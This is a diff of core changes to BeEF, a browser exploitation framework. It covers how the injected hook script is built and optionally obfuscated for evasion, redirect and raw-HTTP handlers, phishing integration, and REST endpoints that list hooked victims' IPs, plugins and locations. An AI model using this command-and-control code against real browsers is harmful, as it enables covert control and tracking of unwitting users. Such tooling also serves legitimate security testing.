# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js)
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js)
|
||||
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
|
||||
# @note Load websocket library only if WS server is enabled in config.yaml
|
||||
if config.get("beef.http.websocket.enable") == false
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js)
|
||||
else #antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js)
|
||||
if config.get("beef.http.websocket.enable") == true
|
||||
beef_js_sub_files << "websocket.js"
|
||||
end
|
||||
# @note Load webrtc library only if WebRTC extension is enabled
|
||||
if config.get("beef.extension.webrtc.enable") == true
|
||||
beef_js_sub_files << "webrtc.js"
|
||||
end
|
||||
|
||||
# @note antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files << "timeout.js"
|
||||
|
||||
ext_js_to_obfuscate = ''
|
||||
ext_js_to_not_obfuscate = ''
|
||||
|
||||
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
|
||||
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
|
||||
ext_js_sub_files.each{ |ext_js_sub_file|
|
||||
ext_js_sub_files.each { |ext_js_sub_file|
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
|
||||
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
|
||||
@@ -64,11 +70,24 @@ module BeEF
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
unless hook_session_config['beef_public'].nil?
|
||||
if hook_session_config['beef_host'] != hook_session_config['beef_public']
|
||||
hook_session_config['beef_host'] = hook_session_config['beef_public']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
|
||||
end
|
||||
end
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# @note set the XHR-polling timeout
|
||||
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
|
||||
|
||||
# @note set the hook file path and BeEF's cookie name
|
||||
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
|
||||
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
@@ -84,17 +103,22 @@ module BeEF
|
||||
if config.get("beef.http.websocket.enable")
|
||||
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
|
||||
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
|
||||
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
|
||||
hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
|
||||
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
|
||||
end
|
||||
|
||||
# @note Set if PhishingFrenzy integration is enabled
|
||||
if config.get("beef.integration.phishing_frenzy.enable")
|
||||
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beef_js string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beef_js)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
|
||||
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
|
||||
else
|
||||
@final_hook = ext_js_to_not_obfuscate + @hook
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -29,6 +29,7 @@ module BeEF
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
|
||||
(print_error "Could not find command module with ID #{command.command_module_id}"; return) if key.nil?
|
||||
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
@@ -52,7 +53,7 @@ module BeEF
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
|
||||
#content = command_module.output.gsub('//
|
||||
#//
|
||||
#// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
#// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
#// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
#// See the file 'doc/COPYING' for copying permission
|
||||
#//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -36,10 +36,9 @@ module Core
|
||||
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
|
||||
raise Exception::TypeError, '"event" needs to be a string' if not event.string?
|
||||
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
|
||||
|
||||
# logging the new event into the database
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
|
||||
|
||||
print_debug "Event: #{event}"
|
||||
# if notifications are enabled send the info there too
|
||||
if @notifications
|
||||
@notifications.new(from, event, time_now, hb)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -80,6 +80,7 @@ module Models
|
||||
|
||||
return BeEF::Core::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil?
|
||||
return BeEF::Core::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WINDOWS_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_ANDROID_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_ANDROID_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_LINUX_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR
|
||||
@@ -91,7 +92,6 @@ module Models
|
||||
return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_ANDROID_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_ANDROID_UA_STR
|
||||
|
||||
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
@@ -103,7 +103,9 @@ module Models
|
||||
def self.hw_icon(session_id)
|
||||
|
||||
ua_string = get(session_id, 'BrowserReportedName')
|
||||
|
||||
hardware = get(session_id, 'Hardware')
|
||||
return BeEF::Core::Constants::Hardware::HW_VM_IMG if hardware =~ /Virtual Machine/
|
||||
return BeEF::Core::Constants::Hardware::HW_LAPTOP_IMG if hardware =~ /Laptop/
|
||||
return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
|
||||
|
||||
return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -24,6 +24,38 @@ module Handlers
|
||||
@root_dir = File.expand_path('../../../../', __FILE__)
|
||||
end
|
||||
|
||||
# Binds a redirector to a mount point
|
||||
# @param [String] target The target for the redirector
|
||||
# @param [String] path An optional URL path to mount the redirector to (can be nil for a random path)
|
||||
# @return [String] URL Path of the redirector
|
||||
# @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc.
|
||||
def bind_redirect(target, path=nil)
|
||||
url = build_url(path,nil)
|
||||
@allocations[url] = {'target' => target}
|
||||
@http_server.mount(url,BeEF::Core::NetworkStack::Handlers::Redirector.new(target))
|
||||
@http_server.remap
|
||||
print_info "Redirector to [" + target + "] bound to url [" + url + "]"
|
||||
url
|
||||
end
|
||||
|
||||
# Binds raw HTTP to a mount point
|
||||
# @param [Integer] status HTTP status code to return
|
||||
# @param [String] headers HTTP headers as a JSON string to return
|
||||
# @param [String] body HTTP body to return
|
||||
# @param [String] path URL path to mount the asset to TODO (can be nil for random path)
|
||||
# @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
|
||||
def bind_raw(status, header, body, path=nil, count=-1)
|
||||
url = build_url(path,nil)
|
||||
@allocations[url] = {}
|
||||
@http_server.mount(
|
||||
url,
|
||||
BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)
|
||||
)
|
||||
@http_server.remap
|
||||
print_info "Raw HTTP bound to url [" + url + "]"
|
||||
url
|
||||
end
|
||||
|
||||
# Binds a file to a mount point
|
||||
# @param [String] file File path to asset
|
||||
# @param [String] path URL path to mount the asset to (can be nil for random path)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
33
core/main/network_stack/handlers/raw.rb
Normal file
33
core/main/network_stack/handlers/raw.rb
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
class Raw
|
||||
|
||||
def initialize(status, header={}, body)
|
||||
@status = status
|
||||
@header = header
|
||||
@body = body
|
||||
end
|
||||
|
||||
def call(env)
|
||||
[@status, @header, @body]
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
|
||||
@response
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
42
core/main/network_stack/handlers/redirector.rb
Normal file
42
core/main/network_stack/handlers/redirector.rb
Normal file
@@ -0,0 +1,42 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note Redirector is used as a Rack app for mounting HTTP redirectors, instead of content
|
||||
# @todo Add new options to specify what kind of redirect you want to achieve
|
||||
class Redirector
|
||||
|
||||
@target = ""
|
||||
|
||||
def initialize(target)
|
||||
@target = target
|
||||
end
|
||||
|
||||
def call(env)
|
||||
@response = Rack::Response.new(
|
||||
body = ['302 found'],
|
||||
status = 302,
|
||||
header = {
|
||||
'Content-Type' => 'text',
|
||||
'Location' => @target
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
|
||||
@response
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -94,7 +94,7 @@ module BeEF
|
||||
# execute(msg_hash)
|
||||
# end
|
||||
# }
|
||||
# rescue Exception => e
|
||||
# rescue => e
|
||||
# print_error "WebSocket-secured error: #{e}"
|
||||
# end
|
||||
# end
|
||||
@@ -150,7 +150,7 @@ module BeEF
|
||||
# execute(msg_hash)
|
||||
# end
|
||||
# }
|
||||
# rescue Exception => e
|
||||
# rescue => e
|
||||
# print_error "WebSocket error: #{e}"
|
||||
# end
|
||||
# end
|
||||
@@ -203,7 +203,7 @@ module BeEF
|
||||
execute(msg_hash)
|
||||
end
|
||||
}
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "WebSocket error: #{e}"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -37,12 +37,19 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterServerHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/server', BeEF::Core::Rest::Server.new)
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
#
|
||||
# Check the source IP is within the permitted subnet
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -52,7 +52,7 @@ module BeEF
|
||||
"token" => "#{config.get('beef.api_token')}"
|
||||
}.to_json
|
||||
end
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
error 400
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -43,6 +43,68 @@ module BeEF
|
||||
output.to_json
|
||||
end
|
||||
|
||||
get '/:session/delete' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
|
||||
details = BeEF::Core::Models::BrowserDetails.all(:session_id => hb.session)
|
||||
details.destroy
|
||||
|
||||
logs = BeEF::Core::Models::Log.all(:hooked_browser_id => hb.id)
|
||||
logs.destroy
|
||||
|
||||
commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hb.id)
|
||||
commands.destroy
|
||||
|
||||
results = BeEF::Core::Models::Result.all(:hooked_browser_id => hb.id)
|
||||
results.destroy
|
||||
|
||||
begin
|
||||
requester = BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id)
|
||||
requester.destroy
|
||||
rescue => e
|
||||
#the requester module may not be enabled
|
||||
end
|
||||
|
||||
begin
|
||||
xssraysscans = BeEF::Core::Models::Xssraysscan.all(:hooked_browser_id => hb.id)
|
||||
xssraysscans.destroy
|
||||
|
||||
xssraysdetails = BeEF::Core::Models::Xssraysdetail.all(:hooked_browser_id => hb.id)
|
||||
xssraysdetails.destroy
|
||||
rescue => e
|
||||
#the xssraysscan module may not be enabled
|
||||
end
|
||||
|
||||
hb.destroy
|
||||
end
|
||||
|
||||
#
|
||||
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
|
||||
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
|
||||
#
|
||||
get '/pf/online' do
|
||||
online_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
|
||||
|
||||
output = {
|
||||
'aaData' => online_hooks
|
||||
}
|
||||
output.to_json
|
||||
end
|
||||
|
||||
#
|
||||
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
|
||||
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
|
||||
#
|
||||
get '/pf/offline' do
|
||||
offline_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15)))
|
||||
|
||||
output = {
|
||||
'aaData' => offline_hooks
|
||||
}
|
||||
output.to_json
|
||||
end
|
||||
|
||||
#
|
||||
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
|
||||
#
|
||||
@@ -69,23 +131,48 @@ module BeEF
|
||||
end
|
||||
|
||||
def get_hb_details(hb)
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
{
|
||||
'id' => hb.id,
|
||||
'session' => hb.session,
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'platform' => details.get(hb.session, 'SystemPlatform'),
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'port' => hb.port.to_s,
|
||||
'page_uri' => details.get(hb.session, 'PageURI')
|
||||
}
|
||||
{
|
||||
'id' => hb.id,
|
||||
'session' => hb.session,
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'platform' => details.get(hb.session, 'BrowserPlatform'),
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'port' => hb.port.to_s,
|
||||
'page_uri' => details.get(hb.session, 'PageURI')
|
||||
}
|
||||
end
|
||||
|
||||
# this is used in the 'get '/pf'' restful api call
|
||||
def hbs_to_array(hbs)
|
||||
hbs_online = []
|
||||
hbs.each do |hb|
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
|
||||
hbs_online << [
|
||||
hb.id,
|
||||
hb.ip,
|
||||
details.get(hb.session, 'PhishingFrenzyUID'),
|
||||
details.get(hb.session, 'BrowserName'),
|
||||
details.get(hb.session, 'BrowserVersion'),
|
||||
details.get(hb.session, 'OsName'),
|
||||
details.get(hb.session, 'BrowserPlatform'),
|
||||
details.get(hb.session, 'BrowserLanguage'),
|
||||
details.get(hb.session, 'BrowserPlugins'),
|
||||
details.get(hb.session, 'LocationCity'),
|
||||
details.get(hb.session, 'LocationCountry'),
|
||||
details.get(hb.session, 'LocationLatitude'),
|
||||
details.get(hb.session, 'LocationLongitude')
|
||||
]
|
||||
end
|
||||
hbs_online
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user